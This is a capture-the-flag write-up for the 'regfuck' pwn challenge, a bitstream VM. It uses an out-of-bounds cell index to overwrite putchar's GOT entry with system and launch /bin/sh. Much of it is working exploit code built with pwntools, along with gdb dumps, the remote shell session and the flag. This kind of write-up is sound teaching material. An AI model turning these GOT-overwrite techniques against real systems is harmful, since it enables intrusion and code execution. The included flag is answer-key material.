Points: 320 Solves: 9
regfuck
Category: Pwn
Difficulty: Medium/Hard
Author: localo
First Blood: RedGKFRocket
Show all teams (9)Unlimited free Hello Worlds at hax.allesctf.net:3301.
Ubuntu 18.04
Note: The server is LD_PRELOADing buffer_read.so to mitigate a short read. You can ping us on IRC if this causes issues with your exploit.
Attachment: vm buffer_read.so libc.so.6 xpl.py
______ _______ _______ _______ _______ ______ __ __
| __ \ ___| __| ___| | | | |/ |
| < ___| | | ___| | | ---| <
|___|__|_______|_______|___| |_______|______|__|\__|
by localo
usage: just push your payload to stdin..
regfuck was a brainfuck-like “mini vm”, which allowed moving a cell pointer, increasing, decreasing values and some basic branching.
Like most bf challenges it had an OOB vulnerability, that would allow us to overwrite got entries and thus gaining a shell.
The first challenge was to understand, how our code would be parsed and what we could do with it.
int main()
{
int data_size;
int program_size;
char *data_region;
char *code_region;
puts(
" ______ _______ _______ _______ _______ ______ __ __ \n"
"| __ \\ ___| __| ___| | | | |/ |\n"
"| < ___| | | ___| | | ---| < \n"
"|___|__|_______|_______|___| |_______|______|__|\\__|\n"
"by localo\n"
"\n"
"usage: just push your payload to stdin..\n");
// Read size for data region
read(0, &data_size, 4);
if ( data_size <= 0 )
return 1;
// Read size for code region
read(0, &program_size, 4);
if ( program_size <= 0 || program_size & 7 )
return 1;
// map memory for data + code region
data_region = (char *)mmap(0x405000, 4 * (data_size + 2) + program_size / 8, 3, 34, -1, 0);
if ( data_region == -1)
exit(1);
// Set pointer for code region inside mapped area
code_region = &data_region[16 * (data_size + 2)];
if ( !code_region )
return 1;
// Read the program bytecode
read(0, code_region, program_size / 8);
// Start execution
return execute_program(data_region, data_size, code_region, program_size);
}
So, it reads 4 bytes for the data_size
(used for storing cell values), 4 bytes for program_size
(size of our code in bytes) and creates a memory region for our vm context (data + program).
Here’s the first caveat: While starting exploits, I’ll often disable ASLR to make debugging easier, not having to fiddle around with changing memory addresses. This is a very bad idea to do here ;-)
If ASLR is disabled, the heap will be allocated at 0x405000
and thus mmap
will allocate a new region (for example at 0x7ffff7dc8000
), which will make it impossible to exploit it (or at least way harder than needed).
With ASLR enabled, heap will be allocated at some random address, allowing mmap
to create the region exactly at 0x405000
, which is perfectly aligned to bss
.
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /home/kileak/ctf/alles/regfuck/regfuck/vm
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /home/kileak/ctf/alles/regfuck/regfuck/vm
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /home/kileak/ctf/alles/regfuck/regfuck/vm
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /home/kileak/ctf/alles/regfuck/regfuck/vm
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /home/kileak/ctf/alles/regfuck/regfuck/vm
0x0000000000405000 0x0000000000406000 0x0000000000000000 rw- # VM context region
0x0000000000eee000 0x0000000000f0f000 0x0000000000000000 rw- [heap]
This will become important later on, but let’s first continue to analyze how to provide executable code to the vm.
struct VM_Context {
int OP_Code; // Current opcode to execute
int Accumulator; // Temporary storage
int Cells[x]; // Cells usable by vm
}
int execute_program(VM_Context* data_region, unsigned int size, char* code_region, int opcode_count)
{
time_t timer;
time_t timer_opcode;
int vm_eip = 0;
time(&timer);
while ( opcode_count > vm_ip )
{
time(&timer_opcode);
// Break code execution after 2 seconds (nasty for debugging)
if ( timer_opcode - timer > 2 )
return 1;
// Process current opcode at vm_eip
if ( process_code(data_region, code_region, &vm_ip) )
return 1;
// Increase instruction pointer
++vm_ip;
}
return 0;
}
The timer checks are a bit nasty, when debugging this, since it will break execution when doing break & continue (except you’re fast enough to debug everything in 2 seconds :-P). I just patched the binary to ignore the condition making debugging a lot easier.
Apart from this, this will just initialiaze an index variable (let’s call it vm instruction pointer), calling repeatedly process_code
(passing vm_ip
also as a reference, so the code could update it when branching).
int process_code(VM_Context *data_region, char *code_region, int *ptr_vm_ip)
{
int vm_ip;
// Get current vm instruction pointer
vm_ip = *ptr_vm_ip;
if ( vm_ip < 0 )
vm_ip = *ptr_vm_ip + 7;
// Check if bit at vm_ip is set
if ( (code_region[vm_ip >> 3] >> (7 - (*ptr_vm_ip % 8))) & 1 )
{
// Increase opcode cell
++data_region->OP_Code;
}
else
{
if ( data_region->OP_Code <= 9 )
OP_CODE_TABLE[data_region->OP_Code]();
data_region->OP_Code = 0;
}
return 0;
}
So, our instruction pointer is basically a bit offset in our code, and process_code
will check if the bit at the current ip is set to 1
or 0
. When the bit is set, it will increase OP_Code
, and if the bit is not set, it will use the current value in OP_Code
to find the offset in OP_CODE_TABLE
, execute the corresponding opcode and reset OP_Code
back to 0 (start reading the next opcode).
There will be 9 instructions available. Thus to execute different opcodes, we have to create a “bit stream”, with n
following bits set to 1
and a stop 0
bit for executing OPCODE(n)
.
Basic starter script:
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "hax.allesctf.net"
PORT = 3301
def op(opcode):
# create "binary stream" ;)
result = "";
result += opcode*"1"
result += "0"
return result
def convertprogram(code):
# convert binary representation to bytes
result = "";
i = 0
for i in range(0, len(code), 8):
result += p8(int(code[i:i+8], 2))
return result
def exploit(r):
payload = ""
payload += op(7)
payload += op(7)
payload += op(7)
# convert binary to byte data
data = convertprogram(payload)
# create program header
program = p32(0x30)
program += p32((len(data))*8)
program += data
# send program to servivce
r.sendline(program)
r.interactive()
return
if __name__ == "__main__":
e = ELF("./vm")
libc = ELF("./libc.so.6")
if len(sys.argv) > 1:
r = remote(HOST, PORT)
exploit(r)
else:
r = process("./vm", env={"LD_PRELOAD":"./buffer_read.so"})
print util.proc.pidof(r)
pause()
exploit(r)
With this, we can start writing vm code and execute the different available opcodes.
Won’t be getting too much into detail of reversing the opcodes itself, but as a short explanation:
- 1 : Increase current cell index (
0x40123b
) - 2 : Decrease current cell index (
0x40126f
) - 3 : Increase value at current cell (
0x40129e
) - 4 : Decrease value at current cell (
0x4012c8
) - 5 : Jump to IP stored in accumulator if current value > 0 (
0x4012f2
) - 6 : Move value at current cell into accumulator (
0x401335
) - 7 : putchar (current cell) (
0x401364
) - 8 : Store current IP and Index array in current cell (
0x40138d
) - 9 : Restore current cell index from value in accumulator (
0x4013c9
)
Calling function 8, will store the current instruction pointer in the upper 2 bytes of the current cell and the current cell index in the lower 2 bytes.
Interesting parts
decrease_current_cell_idx:
mov rax, [rbp+current_array_idx]
movzx eax, word ptr [rax]
cmp ax, 0FFFFh
jnz short do_decrease
mov eax, 1
jmp leave_process_code
do_decrease:
mov rax, [rbp+current_array_idx]
movzx eax, word ptr [rax]
sub eax, 1
mov edx, eax
mov rax, [rbp+current_array_idx]
mov [rax], dx
jmp continue_execution
There is a basic boundary check, when decreasing the current cell index, as it will validate, that the current cell index does not equal 0xffff
(-1
).
If cell index is -1
, program execution will be aborted, so we cannot just decrease our way into bss
.
But the boundaries won’t be checked in the “set array index function”. Thus we can move outside of the boundaries of our vm context, by first decreasing a cell value to a negative value, storing it in the accumulator, and then calling “set array index”, which will directly set the array index to the negative value (and as long as it doesn’t equals -1
, we’re good to go).
Armed with this, I wrote a script to “walk” into got
, and “decreased” putchar.got
to point to a one_gadget
. In CTF ghetto style, I only did as much as needed to write exactly that value to the got entry, which on the one hand worked and resulted in getting a local shell…
But well… failed miserably at the remote service, most likely due to a different stack layout.
Since my regfuck code at that point was even harder to read, than it was to write, every change in it just broke everything. While messing around with the script, it got quite late and I needed some sleep, so I called it a day…
Next morning, I just dropped everything and started from scratch again (though ending up in the end with the same script as the day before, but at least understanding again, what I was doing ;)).
While it seemed, that we could write an almost arbitrary size of vm code, only walking to the got entry and decreasing it 23894482 times (totally random value) seemed to break code execution, so I had to come up with a proper code including some counter variables.
Plan:
-
- Create a negative value in a cell (so it would point below
got
table)
- Create a negative value in a cell (so it would point below
-
- Move it to the accumulator
-
- Set the array index to accumulator (which now holds our forged negative index in the lower 2 bytes and thus moved the array index backwards)
-
- Move one cell up and write a
multiplicator
value there
- Move one cell up and write a
-
- Move back and store the current instruction pointer (and current cell value) to this cell
-
- Reset index array (it will still point to the same cell at this point, but this is needed for making the loop work)
-
- Move cell pointer to our destination address (
putchar.got
)
- Move cell pointer to our destination address (
-
- Increase/Decrease it by a
factor
value
- Increase/Decrease it by a
-
- Move back to our multiplicator value and decrease it by 1
-
- Do a “jump if not zero” (on
multiplicator
) back to the stored instruction pointer (6
) from the accumulator (The cell index is now pointing to themultiplicator
cell and not the instruction pointer cell, as it was, when the loop was executed the first time. That’s the reason we’ll reset the array index in6
, so the state is the same for every loop)
- Do a “jump if not zero” (on
-
- When we finished increasing/decreasing the value
m
*f
times, we once again walk back to the destination address and increase/decrease it by theremaining
value
- When we finished increasing/decreasing the value
-
- Go back into initial state (for starting more writes, which weren’t needed in the end)
def write_value(address, org_address, dest_address, rbp_off=0x68):
if org_address > dest_address:
mult, factor, remaining = get_factors(org_address - dest_address)
increase = 0
else:
mult, factor, remaining = get_factors(dest_address - org_address)
increase = 1
return change_val(mult, factor, remaining, address, rbp_off, increase)
def change_val(mult, factor, remaining, address, rbp_off=0x68, increase=1):
payload = ""
# 1. move to "offset" index for current chain
payload += decval((0x405008 - 0x404000 - rbp_off) / 4)
# 2. move to accumulator
payload += movacc()
# 3. Set array idx from acc (now pointing below got)
payload += setarrayidx()
payload += incidx()
# 4. write multipllicator
payload += incval(mult)
payload += decidx()
# 5. store label
payload += storeeip(0)
# 6. reset array index (for following loops)
payload += setarrayidx() # on ip cell
payload += movacc() # store eip in acc
# 7. move to destination address
payload += decidx( ((0x404000+rbp_off) - address) / 4)
# 8. increase / decrease value
if increase == 1:
payload += incval(factor) # increase value by x
else:
payload += decval(factor) # decrease value by x
# 9. go back to multiplicator and decrease it
payload += incidx( ((0x404000+rbp_off) - address + 4) / 4)
payload += decval()
# 10. repeat until multiplier == 0
payload += jnz()
# 11. add remaining value
payload += decidx()
payload += decidx(((0x404000+rbp_off) - address) / 4)
if increase == 1:
payload += incval(remaining)
else:
payload += decval(remaining)
# 12. go back to original context
payload += incidx( ((0x404000 + rbp_off) - address) / 4)
payload += incidx( ((0x1000 - rbp_off + 8)) / 4)
return payload
def exploit(r):
if not LOCAL:
r.recvuntil("stdin..\n\n")
payload = ""
# call putchar to resolve it
payload += putchar()
# overwrite putchar with system
payload += write_value(0x404018, libc.symbols["putchar"], libc.symbols["system"], 0x68)
Since the regfuck code might not be too easy to understand at this point, some more details, what’s happening in memory:
- 1 - Creating fake index in data context
0x405000: 0x0000000000000006 0x00000000fffffc18 <= Opcode+Accumulator / Cell 0
0x405010: 0x0000000000000000 0x0000000000000000
0x405020: 0x0000000000000000 0x0000000000000000
0x405030: 0x0000000000000000 0x0000000000000000
0x405040: 0x0000000000000000 0x0000000000000000
0x405050: 0x0000000000000000 0x0000000000000000
0x405060: 0x0000000000000000 0x0000000000000000
0x405070: 0x0000000000000000 0x0000000000000000
- 2 - Moving fake index to accumulator
0x405000: 0xfffffc1800000009 0x00000000fffffc18 <= Opcode+Accumulator / Cell 0
0x405010: 0x0000000000000000 0x0000000000000000
0x405020: 0x0000000000000000 0x0000000000000000
0x405030: 0x0000000000000000 0x0000000000000000
0x405040: 0x0000000000000000 0x0000000000000000
0x405050: 0x0000000000000000 0x0000000000000000
- 3 - Set the array index to accumulator
0x7ffdfbcdaab4: 0x0000 # current cell index before
0x7ffdfbcdaab4: 0xfc18 # current cell index after
- 4 - Move one cell up and write a “multiplicator” value there
0x404000: 0x0000000000403e10 0x00007ff40abbb170 <= bss
0x404010: 0x00007ff40a9a9680 0x00007ff40a420810 <= dl_resolve / putchar.got
0x404020: 0x00007ff40a41e9c0 0x0000000000401056
0x404030: 0x00007ff40a4b99d0 0x00007ff40a790070
0x404040: 0x00007ffdfbd21f10 0x0000000000401096
0x404050: 0x0000000000000000 0x0000000000000000
0x404060: 0x0000000000000000 0x0000050700000000 <= multiplicator
0x404070: 0x0000000000000000 0x0000000000000000
- 5 - Move back and store the current instruction pointer (and current cell value) to this cell
0x404000: 0x0000000000403e10 0x00007ff40abbb170
0x404010: 0x00007ff40a9a9680 0x00007ff40a420810
0x404020: 0x00007ff40a41e9c0 0x0000000000401056
0x404030: 0x00007ff40a4b99d0 0x00007ff40a790070
0x404040: 0x00007ffdfbd21f10 0x0000000000401096
0x404050: 0x0000000000000000 0x0000000000000000
0x404060: 0x0000000000000000 0x0000050727cafc18 <= multiplicator + stored vm_ip
0x404070: 0x0000000000000000 0x0000000000000000
0x404080: 0x0000000000000000 0x0000000000000000
- 6 - Reset index array
- 7 - Move cell pointer to our destination address (
putchar.got
) - 8 - Increase/Decrease it by a “factor” value
0x404000: 0x0000000000403e10 0x00007ff40abbb170
0x404010: 0x00007ff40a9a9680 0x00007ff40a42076d <= dl_resolve / putchar.got (modified by factor)
0x404020: 0x00007ff40a41e9c0 0x0000000000401056
0x404030: 0x00007ff40a4b99d0 0x00007ff40a790070
0x404040: 0x00007ffdfbd21f10 0x0000000000401096
0x404050: 0x0000000000000000 0x0000000000000000
0x404060: 0x0000000000000000 0x0000050727cafc18
- 9 - Move back to our multiplicator value and decrease it by 1
0x404000: 0x0000000000403e10 0x00007ff40abbb170
0x404010: 0x00007ff40a9a9680 0x00007ff40a42076d
0x404020: 0x00007ff40a41e9c0 0x0000000000401056
0x404030: 0x00007ff40a4b99d0 0x00007ff40a790070
0x404040: 0x00007ffdfbd21f10 0x0000000000401096
0x404050: 0x0000000000000000 0x0000000000000000
0x404060: 0x0000000000000000 0x0000050627cafc18 <= multiplicator decreased
- 10 - Do a “jump if not zero” (multiplicator value) back to the stored instruction pointer
After some repetitions
0x404000: 0x0000000000403e10 0x00007ff40abbb170
0x404010: 0x00007ff40a9a9680 0x00007ff40a41f26a <= putchar.got repeatedly decreased
0x404020: 0x00007ff40a41e9c0 0x0000000000401056
0x404030: 0x00007ff40a4b99d0 0x00007ff40a790070
0x404040: 0x00007ffdfbd21f10 0x0000000000401096
0x404050: 0x0000000000000000 0x0000000000000000
0x404060: 0x0000000000000000 0x000004e527cafc18 <= multiplicator decreased
0x404070: 0x0000000000000000 0x0000000000000000
Until multiplicator hits zero and we’ll jump out of the loop
- 11 - Walk back to the destination address and increase/decrease it by the “remaining” value
gef➤ x/30gx 0x404000
0x404000: 0x0000000000403e10 0x00007ff40abbb170
0x404010: 0x00007ff40a9a9680 0x00007ff40a3ed440 <= putchar.got now pointing to system
0x404020: 0x00007ff40a41e9c0 0x0000000000401056
0x404030: 0x00007ff40a4b99d0 0x00007ff40a790070
0x404040: 0x00007ffdfbd21f10 0x0000000000401096
0x404050: 0x0000000000000000 0x0000000000000000
0x404060: 0x0000000000000000 0x0000000027cafc18 <= multiplicator 0
0x404070: 0x0000000000000000 0x0000000000000000
0x404080: 0x0000000000000000 0x0000000000000000
0x404090: 0x0000000000000000 0x0000000000000000
0x4040a0: 0x0000000000000000 0x0000000000000000
0x4040b0: 0x0000000000000000 0x0000000000000000
0x4040c0: 0x0000000000000000 0x0000000000000000
0x4040d0: 0x0000000000000000 0x0000000000000000
0x4040e0: 0x0000000000000000 0x0000000000000000
gef➤ x/10i 0x00007ff40a3ed440
0x7ff40a3ed440 <__libc_system>: test rdi,rdi
0x7ff40a3ed443 <__libc_system+3>: je 0x7ff40a3ed450 <__libc_system+16>
0x7ff40a3ed445 <__libc_system+5>: jmp 0x7ff40a3eceb0 <do_system>
0x7ff40a3ed44a <__libc_system+10>: nop WORD PTR [rax+rax*1+0x0]
So, at this point, putchar is now pointing to system
. A /bin/sh
string and a pointer to it at a known address, is all we need now to do a proper system("/bin/sh")
. At first, I thought about also increasing values to forge the pointer and the address, but…
We can just append them to the end of our program code, which makes this last step much easier ;)
data = convertprogram(payload)
# Append pointer to /bin/sh and /bin/sh string to program code
data = data.ljust(2408, "A")
data += p64(0x405c90) # pointer to /bin/sh
data += "/bin/sh"
program = p32(0x30)
program += p32((len(data))*8)
program += data
This way, we know that we’ll have a pointer to the string at 0x405c88
(and /bin/sh
at 0x405c90
). So we just need to get the current cell index point to the cell 0x405c88 - 0x405008
and trigger putchar
.
But, we cannot just increase the cell index multiple times (because every increase would increase the program size and move our values further down, by which we’d end up in an endless catchup game).
In the end, I just did the same as for increasing the got entry multiple times and wrote another short vm code, which will create the needed array index, pointing to the /bin/sh
pointer and set it via set array index
.
# move to /bin/sh and call putchar to trigger system
payload += incval(0x3e8)
payload += movacc()
payload += setarrayidx()
payload += incidx() # cell 1
payload += incval(0x20)
payload += decidx() # cell 0
payload += storeeip(1) # stored ip in 0
payload += setarrayidx()
payload += movacc()
payload += incidx(2) # cell 2
payload += incval(25)
payload += decidx(1) # cell 1
payload += decval() # decrease counter
payload += jnz()
payload += incidx() # cell 2
payload += movacc()
payload += setarrayidx() # move cell to /bin/sh ptr
payload += putchar()
payload += putchar()
After this, putchar
is triggered
gef➤
──────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0000000000405c90 → 0x0068732f6e69622f ("/bin/sh"?)
$rbx : 0x0
$rcx : 0x5
$rdx : 0xc88
$rsp : 0x00007ffdfbcdaa50 → 0x0000000000000000
$rbp : 0x00007ffdfbcdaa80 → 0x00007ffdfbcdaad0 → 0x00007ffdfbcdab10 → 0x0000000000401630 → endbr64
$rsi : 0xfffffffe
$rdi : 0x0000000000405c90 → 0x0068732f6e69622f ("/bin/sh"?)
$rip : 0x0000000000401386 → call 0x401030 <putchar@plt>
$r8 : 0x30
$r9 : 0x00007ff40aba0740 → 0x00007ff40aba0740 → [loop detected]
$r10 : 0x5
$r11 : 0x00007ff40a420810 → 0x0036a0301d8b4853
$r12 : 0x00000000004010a0 → endbr64
$r13 : 0x00007ffdfbcdabf0 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40137f add rax, rdx
0x401382 mov eax, DWORD PTR [rax]
0x401384 mov edi, eax
→ 0x401386 call 0x401030 <putchar@plt>
↳ 0x401030 <putchar@plt+0> jmp QWORD PTR [rip+0x2fe2] # 0x404018
0x401036 <putchar@plt+6> push 0x0
0x40103b <putchar@plt+11> jmp 0x401020
0x401040 <puts@plt+0> jmp QWORD PTR [rip+0x2fda] # 0x404020
0x401046 <puts@plt+6> push 0x1
0x40104b <puts@plt+11> jmp 0x401020
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffdfbcdaa50│+0x0000: 0x0000000000000000 ← $rsp
0x00007ffdfbcdaa58│+0x0008: 0x0000003000000000
0x00007ffdfbcdaa60│+0x0010: 0x00007ffdfbcdaab4 → 0x5d628cbb465a0320
0x00007ffdfbcdaa68│+0x0018: 0x00007ffdfbcdaab6 → 0x00005d628cbb465a
0x00007ffdfbcdaa70│+0x0020: 0x0000000000405320 → 0xbdf7de7befbdf7fe
0x00007ffdfbcdaa78│+0x0028: 0x0000000000405000 → 0x0000032000000007
──────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
putchar@plt (
$rdi = 0x0000000000405c90 → 0x0068732f6e69622f ("/bin/sh"?),
$rsi = 0x00000000fffffffe,
$rdx = 0x0000000000000c88,
$rcx = 0x0000000000000005
)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x0000000000401386 in ?? ()
rdi
holding 0x405c90
pointing to our /bin/sh
string and now happily triggering system
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0000000000405c90 → 0x0068732f6e69622f ("/bin/sh"?)
$rbx : 0x0
$rcx : 0x5
$rdx : 0xc88
$rsp : 0x00007ffdfbcdaa48 → 0x000000000040138b → jmp 0x401406
$rbp : 0x00007ffdfbcdaa80 → 0x00007ffdfbcdaad0 → 0x00007ffdfbcdab10 → 0x0000000000401630 → endbr64
$rsi : 0xfffffffe
$rdi : 0x0000000000405c90 → 0x0068732f6e69622f ("/bin/sh"?)
$rip : 0x00007ff40a3ed440 → 0xfa66e90b74ff8548
$r8 : 0x30
$r9 : 0x00007ff40aba0740 → 0x00007ff40aba0740 → [loop detected]
$r10 : 0x5
$r11 : 0x00007ff40a420810 → 0x0036a0301d8b4853
$r12 : 0x00000000004010a0 → endbr64
$r13 : 0x00007ffdfbcdabf0 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7ff40a3ed435 <cancel_handler+213> add BYTE PTR [rax], 0x0
0x7ff40a3ed438 <cancel_handler+216> add BYTE PTR [rbx-0x3d], bl
0x7ff40a3ed43b nop DWORD PTR [rax+rax*1+0x0]
→ 0x7ff40a3ed440 <system+0> test rdi, rdi
0x7ff40a3ed443 <system+3> je 0x7ff40a3ed450 <__libc_system+16>
0x7ff40a3ed445 <system+5> jmp 0x7ff40a3eceb0 <do_system>
0x7ff40a3ed44a <system+10> nop WORD PTR [rax+rax*1+0x0]
0x7ff40a3ed450 <system+16> lea rdi, [rip+0x164a4b] # 0x7ff40a551ea2
0x7ff40a3ed457 <system+23> sub rsp, 0x8
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007ffdfbcdaa48│+0x0000: 0x000000000040138b → jmp 0x401406 ← $rsp
0x00007ffdfbcdaa50│+0x0008: 0x0000000000000000
0x00007ffdfbcdaa58│+0x0010: 0x0000003000000000
0x00007ffdfbcdaa60│+0x0018: 0x00007ffdfbcdaab4 → 0x5d628cbb465a0320
0x00007ffdfbcdaa68│+0x0020: 0x00007ffdfbcdaab6 → 0x00005d628cbb465a
0x00007ffdfbcdaa70│+0x0028: 0x0000000000405320 → 0xbdf7de7befbdf7fe
Fortunately, this didn’t have the problems anymore like the one_gadget
approach and also resulted in a shell when running remote :)
$ python work.py 1
[*] '/media/sf_ctf/alles/regfuck/regfuck/vm'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/media/sf_ctf/alles/regfuck/regfuck/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to hax.allesctf.net on port 3301: Done
[*] Switching to interactive mode
$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
$ cat flag
ALLES{5w337_dr34m5_4r3_m4d3_0f_7h15}